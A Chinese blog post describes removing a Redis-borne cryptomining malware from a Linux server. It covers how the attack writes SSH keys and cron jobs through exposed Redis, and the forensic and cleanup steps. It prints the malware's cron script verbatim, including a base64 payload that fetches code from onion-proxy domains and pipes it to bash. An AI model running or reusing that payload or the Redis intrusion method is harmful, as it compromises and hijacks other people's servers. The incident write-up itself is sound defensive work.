Linux 中挖矿病毒处理过程
分享一次Linux系統殺毒的經歷,還有個人的一些總結,希望對大家有用。
進程占CPU 700%,進程名字是類似XY2Arv的6位隨機大小寫字母+數字的字符串。最終發現是一個叫systemd或trump的病毒,是一個挖礦的病毒
該病毒的侵入方式是通過掃描主機的Redis端口,一般默認為6379,通過Redis命令將程序注入到你的主機,Redis 默認情況下,會綁定在 0.0.0.0:6379,在沒有利用防火墻進行屏蔽的情況下,將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 ~/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器;如果Redis服務是以root權限啟動,可以利用該問題直接獲得服務器root權限
整個入侵流程大概是包含以下幾個環節:
1、掃描開放6379端口的Linux服務器(后續感染掃描網段為1.0.0.0/16到224.255.0.0/16)
2、通過redis-cli嘗試連接Redis并執行預置在.dat文件里的利用命令將Redis的數據文件修改為/var/spool/cron/root,然后通過在Redis中插入數據,將下載執行腳本的動作寫入crontab任務
3、通過腳本實現以上的相關行為,完成植入并啟動挖礦程序
4、再編譯安裝pnscan,繼續掃描感染下一個目標
逐漸排查并解決:
ll /proc/26978/exe
lrwxrwxrwx 1 root root 0 Nov 18 05:12 /proc/26978/exe -> /usr/bin/f5ca2c418471f93c1e5a59fea5939e89 (deleted)
可以看到進程啟動完就刪除了
lsof -p 32559
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
wAMj4J 32559 root cwd DIR 253,1 20480 655363 /usr/bin
wAMj4J 32559 root rtd DIR 253,1 4096 2 /
wAMj4J 32559 root txt REG 253,1 260544 657105 /usr/bin/e48377a2d8e8e119d1454aa4cd5647c0 (deleted)
wAMj4J 32559 root 0u IPv4 1769948316 0t0 TCP iZ2ze98732cvvbbjgcwf4wZ:35060->222.35.250.117:https (ESTABLISHED)
wAMj4J 32559 root 3w REG 253,1 6 396140 /tmp/.X11-unix/1
可以看到源頭是從/tmp下的一個子目錄里的文件來的,從222.35.250.117上獲取的木馬代碼,根據這個ip從網上查又查出這個地址其他人也碰到過類似的木馬。先kill進程,順便把/tmp目錄下所有目錄和文件刪除。
https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
然后從這個網站下載busybox及clear.sh
為防止病毒將rm命令劫持,請將busybox工具箱上傳到/bin/目錄下,然后使用它進行刪除
/bin/busybox rm -rf /tmp
查看定時任務
crontab -l5 * * * * /root/.trump >/dev/null 2>&1
檢查/root/.trump文件發現里面主要的代碼都用base64編碼了,可以用bejson.com解碼看看內容,刪除這個文件,通過 crontab -e刪除定時任務。
cat /root/.trump
#!/bin/bash
exec &>/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSAkMSR4Cn0KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMSkvaW87IHRoZW4KKAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLnNoIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash
grep “trump” /etc/ -nri (注意:有的是grep “systemd-service” /etc/ -nri )
Binary file /etc/udev/hwdb.bin matches/etc/cron.d/0trump:1:37 * * * * root /opt/trump >/dev/null 2>&1
刪除 /etc/cron.d/0trump和/opt/trump
/bin/busybox rm -rf /etc/cron.d/0trump
/bin/busybox rm -rf /opt/trump
注:刪除/opt/trump出現無法刪除,chmod 777 也顯示無權限,這時需執行chattr -i /opt/trump,然后再刪除就可以了
最后為了安全,再執行下改良后的 clear.sh下文件,位置必須放在/bin/下
8.查看進程列表有無可疑進程(這個的目的是查找有無守護進程,自啟的原因就是病毒主線程已經kill,但其守護進程沒有kill掉)
ps -lef
有2個進程叫ZY8Zrv和VcbzWG,查看由來也是從tmp相同目錄來的,kill先。再發現2個可疑進程
0 S root 9736 22608 0 80 0 - 28296 do_wai 01:28 ? 00:00:00 sh -c echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c
0 S root 21043 9742 0 80 0 - 28056 do_wai 08:36 ? 00:00:00 timeout 1h ./ssh : 22 root ./pw
都kill掉。
8.設置redis密碼。redis啟動一定要設置密碼。在redis.conf 中 requirepass XXX
參考腳本:https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
總結
以上是生活随笔為你收集整理的Linux 中挖矿病毒处理过程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 绿园出租黄白车 电话号码多少?
- 下一篇: OpenLDAP、什么是目录服务、Ope